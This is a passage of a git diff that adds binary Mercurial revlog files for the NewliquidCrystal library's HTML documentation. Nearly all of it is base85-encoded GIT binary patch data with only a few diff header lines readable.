zLvFIAc3Vyt{dg68-}~FYxTa$$%VV}IZ_DYbEBg00**or@j^cD}uXI?PZuMl!|KZp7 z-+%9u1IWB(tdneT<(`<~#H?Ff061>5s^^RfhSEN0cJ$lD`?J>qXznjyZE4I+SwF}G zjB`!WY+ztFmlg3StDciN1o>B^yOP4drf4qRZA^g1tfGl;9So?81Sm8=$Oq=&HY?0Q z1JZ*js~xB()Q}3psIegNnzp&lEm$wTim2@&Mpt5&EIRq6P2(& zQK{tx-Z42iu#Qw1D%BWuym5h{^bDF43#?BdNa*q{iS`GQ%W`xxsefUoRoAF>rAPM4 zoBTQ(JbmJ;V=~MuqWh3}^c~czX#;EggkA+nlzbGR64_)Uz z_jrgBx_k>_)0?H2ul{u}+qahh(J&Lo*{gs7J|}Vest#ruD)iXALeKUD;?PpqwXSj# zRwsm#W@GPKW5k&y#Or?i8pFOv$S_UPn5TZApqdtb5F~=Z2EN`Nv>eG@oUh*fG>`Q! znu{VjW{K$9T+qw=Ndqz%jQ~p!3Y)?Mk^p^w1E6v`1yy&yjG?*`Kbo+rd>B`Orv zG5@h)(m_-xrDK+quGIs}Ow|S*l-w~(a@PetsKI0YVp{+GJ?UaMR0Og)Mc}=#8|nzz zoQ}{c@=znl<}`vG)^WyxzSp*p$Qbj=Lf2v5{&Aamh)9QS&>}#>_v6&3c@&O9q*t`I)U6@eAA9tK5 zH9I%2dK$-V{ZaUz6OX8lWAo~`-=7y983yHWY$k`h4^Bk28k?!r9BDgOlue>^eRTG+tKKA6*LMwTy67AI$<(J+%{h(J9u(2BnTW1+u3LQv8_)4; z+03uQeip;nO^whqg?To9mm8Q8>(V&yPcoFQL9;D|p@a>ZOPvUA`z2y*s{ZO6Nh#Ah z_IaYT)KREeEJG2pl*M5jMLKP6)5EBb=SH6MwY8J`V4rtmi=luGnl@xnKgPsd+3-8x zwY*PF%7eTh_X}uTo=sMNx~LY9p{x&@fTf+CoBx8p|F^TVQ@rREQ|r<^2WRXa0d$h2 zFlA|VoW5vYwSM}e88k=Z%?-vkMMmCf$cKLO>UQ|&xi6nXTB}*;?d$K!+bk+{aYv%N zr%$Nxj{o%k)qhSx00000MX3M)00029004PU000000001>00007|NsC0n>btiDbla& z4iP5>!E)@pT54?V000000000000000c${61y$*sf6ov1=#N;E~VB!cAjfq&A7)@M= zi-~)oC1Rk(TQK@|KAM;~sKc4Q^9SHf0K5tSPKd}=eZyL1K}YtY%ihRV2O{6@Fs}=e z^q5WAGG24nN%P|y+CozxSeS&2M{g{6G?ob;;C>kO92c(qOjtJ3xh$xx?Z-qUxKxU? zbALc^*UF|5du=qyUMsW)kAuNYN60XVS%S$tjaTU+#>x_Yoy6kv(|-Y1I6^l70000+ zTmS$7004LZ0C`UU00000005!@000R8|NsAKv-|=)@-R&tp3KYom;_AbJ_l|900000 z000000001ZoMT|9@MB=8*w4VgP-v4;q>!AGSX^wYl$M`gl3JvsZ)cO3l2VjfT#P1R zXH%S;n3H4Yo|>0hlvt9QqL81b5Ry@<;8;+kV5(qbU}&UZXkle&Ze?Pokd|Mh;N$F~ a;FFnDlvq@$kW{IrY-na+%>@9N=Ozgya2hWF literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/__fast__i__o__8h.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/__fast__i__o__8h.html.i new file mode 100644 index 0000000000000000000000000000000000000000..d6069136d8a13b156de46c6e7cb388c790f75d7e GIT binary patch literal 8527 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/__fast__i__o__8h__source.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/__fast__i__o__8h__source.html.i new file mode 100644 index 0000000000000000000000000000000000000000..446bbf4eb33846f8b7ac62f2ee8a60298df1e041 GIT binary patch literal 12048 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

e0jXtd(Iw^-0hXyOLMEKn90p5FM$Bip@4VK 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 